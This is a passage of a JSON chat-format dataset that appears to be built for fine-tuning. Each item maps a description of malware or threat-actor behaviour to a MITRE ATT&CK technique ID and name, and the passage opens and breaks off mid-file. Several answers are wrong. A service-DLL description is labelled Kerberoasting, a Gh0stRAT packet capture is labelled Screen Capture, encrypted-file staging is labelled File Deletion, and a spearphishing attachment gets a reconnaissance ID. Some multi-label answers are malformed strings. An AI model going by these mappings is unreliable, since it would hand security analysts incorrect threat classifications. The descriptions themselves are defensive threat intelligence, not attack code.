        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LitePower can identify installed AV software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson can use a module to perform keylogging on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EnvyScout contains JavaScript code that can extract an encoded blob from its HTML body and write it to disk."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clears Windows PowerShell and WitnessClientAdmin log file."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal on Host: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can track key presses with a keylogger module."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "checks if the victim OS is 32 or 64-bit."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoxCaon has used Windows API calls to obtain information about the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dsquery can be used to gather information on permission groups within a domain."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has exploited Microsoft Office vulnerabilities CVE-2014-4114, CVE-2018-0802, and CVE-2018-0798 for execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to index files from drives, user profiles, and removable drives."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN can search, read, write, move, and execute files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa can clear possible malware traces such as application logs."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has obtained the password for the victim's password manager via a custom keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "[Screenshot 1] Encrypted Login Packet sent by Gh0stRAT infected PC  In addition to a standard malware analysis blog post, I’d also like to take this time to document and describe my methods for analysis, in the hopes that you as a reader will use these techniques in the future"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "mimics a legitimate Russian program called USB Disk Security."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates using HTTPS and uses a custom encryption cipher to encrypt the HTTPS message body."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A service DLL (loaded by svchost.exe) with a ServiceMain function typically named NetSetupServiceMain - A standard non-Service DLL loaded by rundll32.exe"
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a custom encryption algorithm, which consists of XOR and a stream that is similar to the Blum Blum Shub algorithm."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook has been launched by starting iexplore.exe and replacing it with Bandook's payload."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles has used Mimikatz and a custom tool, SecHack, to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors used WMI queries to check if various security applications were running as well as to determine the operating system version."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may enumerate user directories on a victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD has used HTTP for communications with command and control (C2) servers."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "stores a configuration files in the startup directory to automatically execute commands in order to persist across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CTU researchers assess with high confidence that IRON RITUAL's intent is long term, covert access to networks of interest for the purposes of espionage and data theft.ToolsTaegis™ XDR Adversary Software Coverage Tool"
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY has hashed most its code's functions and encrypted payloads with base64 and XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This task is executed every 25 minutes and will repeat the actions described above – recreating the JavaScript code which later will create and execute a PowerShell script (described below)"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All this data is merged in one file xmlrwbin.inc, which is then encrypted with RC4. To be able to decipher the data, the attacker should certainly know either the MD5 hash or the whole buffer content. This data is also sent, but RSA encrypted. The malware constructs a 1120 bit public key, uses it to encrypt the 117-bytes buffer. The malware then concatenates all the data to be sent as a 128-bytes block. The resulting data is saved in C:Program FilesCommon FilesSystemOle DB to a file named according to the following format"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBK has the ability to inject shellcode into svchost.exe."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can identify installed security tools based on window names."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can use a modified base32 encoding to encode data within the subdomain of C2 requests."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT34 has used brute force techniques to obtain credentials."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 (Microsoft Office Equation Editor, widely used by Chinese-speaking actors since December 2017), we can´t prove they were related to this particular attack"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant receives HTTP-based commands from a control server and parses the HTTP Content-Type and Content-Length from the HTTP header. If the HTTP Content-Type matches the following value, then the implant executes the command specified by the control server"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, it checks the running processes against a list of hard-coded process names; if any are found, the machine is forcefully rebooted. The names are linked to various tools used by malware researchers"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon. Gamaredon has used, maintained and updated development of this code for years. Its code contains anti-detection functions specifically designed to identify sandbox environments in order to thwart antivirus detection attempts"
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM has used PsExec to move laterally between hosts in the target network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used stolen credentials to copy tools into the \"%TEMP%\" directory of domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ragnar Locker has attempted to stop services associated with business applications and databases to release the lock on files used by these applications so they may be encrypted."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerDuke uses rundll32.exe to load."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In older versions, Valak downloads the second stage JS and uses only one obfuscation technique: Base64. The newer versions use XOR in addition to Base64"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT30 has relied on users to execute malicious file attachments delivered via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UnionCryptoUpdater.exe does not immediately download the stage 2 malware but instead downloads it after a time specified by the C2 server. This delay could be implemented to prevent researchers from directly obtaining the stage 2 malware"
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The functional payload is a DLL compiled on 2019-03-11 02:23:54, which has two functionalities depending if the binary has a command line argument -daemon or -worker passed to it. The daemon functionality handles the C2 communications portion of the Trojan, which is configured to communicate with 185.12.45[.]134 over HTTPS using the following URL"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet enumerates the directories of a network resource."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Similar to Reaver as posted by Palo Alto, it gets the IP or domain of the C&C server, the port, name of the binary, a sleep timer, and what Palo Alto calls a “campaign identifier.” Technical Details At this moment, we were unable to retrieve the original infection vector and other information regarding what other tools the APT15 group is using to attack their targets"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Summary . The following knowledgebase will explain the uses of Net commands in Windows Operating Systems. More information . Net Commands On Windows Operating Systems . The following Net Commands can be used to perform operations on Groups, users, account policies, shares, and so on. NET . The \"Net Accounts\" command is used to set the policy settings on local computer, such as Account policies and password policies. This command can't be used on domain controller. When you type Net Accounts, you will see the default settings of the Account Lockout policy and Password Policy in local computer show as: The above settings displayed as per the role of the computer. Community Solutions Content Disclaimer . Microsoft corporation and/or its respective suppliers make no representations about the suitability, reliability, or accuracy of the information and related graphics contained herein. User Account Control and remote restrictions - Windows Server Describes User Account Control (UAC) and remote restrictions in Windows Vista. auditpol get Reference article for the auditpol get command, which retrieves the system policy, per-user policy, auditing options, and audit security descriptor object. wevtutil Reference article for wevtutil, which lets you retrieve information about event logs and publishers. Manage cookies - Previous Version Docs - Blog - Contribute - Privacy &amp; Cookies - Terms of Use - Trademarks - © Microsoft 2022 - Summary - More information - - - - Manage cookies - Previous Version Docs - Blog - Contribute - Privacy &amp; Cookies - Terms of Use - Trademarks - © Microsoft 2022"
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can launch an instance of itself with administrative rights using runas."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Even more, this tiny bootkit with a size of only 80 kb on disk after installation can disable built-in Windows security protection such as Hypervisor-Protected Code Integrity (HVCI) and Windows Defender and bypass User Account Control (UAC)."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can check for artifacts of VirtualBox, Virtual PC and VMware environment, and terminate itself if they are detected."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious obfuscated VBA code is executed when the macro is first enabled. In some cases, the malicious macro is also executed when the user activates a fake text box"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IceApple .NET assemblies have used `App_Web_` in their file names to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the cases where Sakula does not use a registry key for persistence, it attempts to set itself up as a service (see Table 2). It invokes itself by calling WinExec with the \"net start %s\" argument (without quotes), where \"%s\" is the service name"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used various tools (such as Mimikatz and WCE) to perform credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can steal clipboard contents."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another interesting discovery was a tool that was used during attacks to make queries to Active Directory using LDAP. This tool is able to dump detailed information about computers and usernames listed in Active Directory, and is tailored for a specific victim’s domain"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery', 'T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On October 31, TA505 sent two campaigns, both using .lnk files embedded in Microsoft Word documents. As shown in Figure 4, recipients must open the attached Word document, enable editing, and then execute the .lnk file by double clicking an image in the document. They must further confirm that they want to open the .lnk file (Figure 5), which, in turn, downloads an intermediate downloader. Despite the number of steps involved, TA505 relies on light social engineering in the email and lure as well as end user conditioning to proceed through the scheme and infect their PC with malware"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar has used XOR, RSA2, and RC4 encrypted files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell can capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fine-tuning DaserfOur analyses revealed Daserf regularly undergo technical improvements to keep itself under the radar against traditional anti-virus (AV) detection. Daserf 1.72 and later versions use the alternative base64+RC4 to encrypt the feedback data, while others use different encryption such as 1.50Z, which uses the Ceasar cipher (which substitutes letters in plaintext with another that corresponds to a number of letters, either upwards or downwards"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing', 'T1027.005 - Indicator Removal from Tools', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 obtained information about the configured Exchange virtual directory using \"Get-WebServicesVirtualDirectory\"."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pandora has the ability to gain system privileges through Windows services."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "added newly created accounts to the administrators group to maintain elevated access."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 can create new users through Azure AD."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate can enumerate connected remote logical drives."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to delete local files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Amadey has decoded antivirus name strings."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POORAIM has used AOL Instant Messenger for C2."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download remote files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADCALL communicates on ports 443 and 8000 with a FakeTLS method."
            },
